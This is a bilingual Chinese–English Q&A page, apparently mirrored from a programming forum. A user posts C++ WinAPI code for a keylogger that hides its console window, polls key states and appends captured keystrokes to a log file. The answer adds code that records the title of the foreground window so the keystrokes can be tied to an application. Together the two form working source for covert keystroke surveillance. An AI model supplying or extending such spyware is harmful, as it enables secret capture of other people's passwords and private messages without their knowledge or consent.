C ++简单的键盘记录器 [英] C++ simple keylogger

问题描述

我试图在C ++中使用WinAPI编写一个简单的键盘记录器。有没有办法得到在哪个应用程序用户正在键入捕获的关键笔划？
这里是我的代码到目前为止：

I`m trying to write a simple keylogger in C++ using WinAPI. Is there a way to get in which application the user is typing the captured key strokes? And here is my code so far:

#include <iostream>
#include <windows.h>
#include <winuser.h>

using namespace std;

int main()
{
    HWND Stealth;
    AllocConsole();
    Stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(Stealth,0);
    char i;

while (1)
{
    for(i = 8; i <= 190; i++)
    {
        if (GetAsyncKeyState(i) == -32767)
        {
            FILE *OUTPUT_FILE;
            OUTPUT_FILE = fopen("LOG.txt", "a+");
            int c=static_cast<int>(i);
            fprintf(OUTPUT_FILE, "%s", &c);
            fclose (OUTPUT_FILE);
        }
    }
}
system ("PAUSE");
return 0;
}

推荐答案

有一种方法来获取用户在哪个应用程序中键入捕获的键击？
我想说使用HWND WINAPI GetForegroundWindow（void）;

Since the question is "Is there a way to get in which application the user is typing the captured key strokes?" I'd say use HWND WINAPI GetForegroundWindow(void);

例如：

char cWindow[MAX_PATH];
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));

在cWindow中，您可以获得用户输入的窗口的标题。

In cWindow you get the title of the window in which the user is typing.
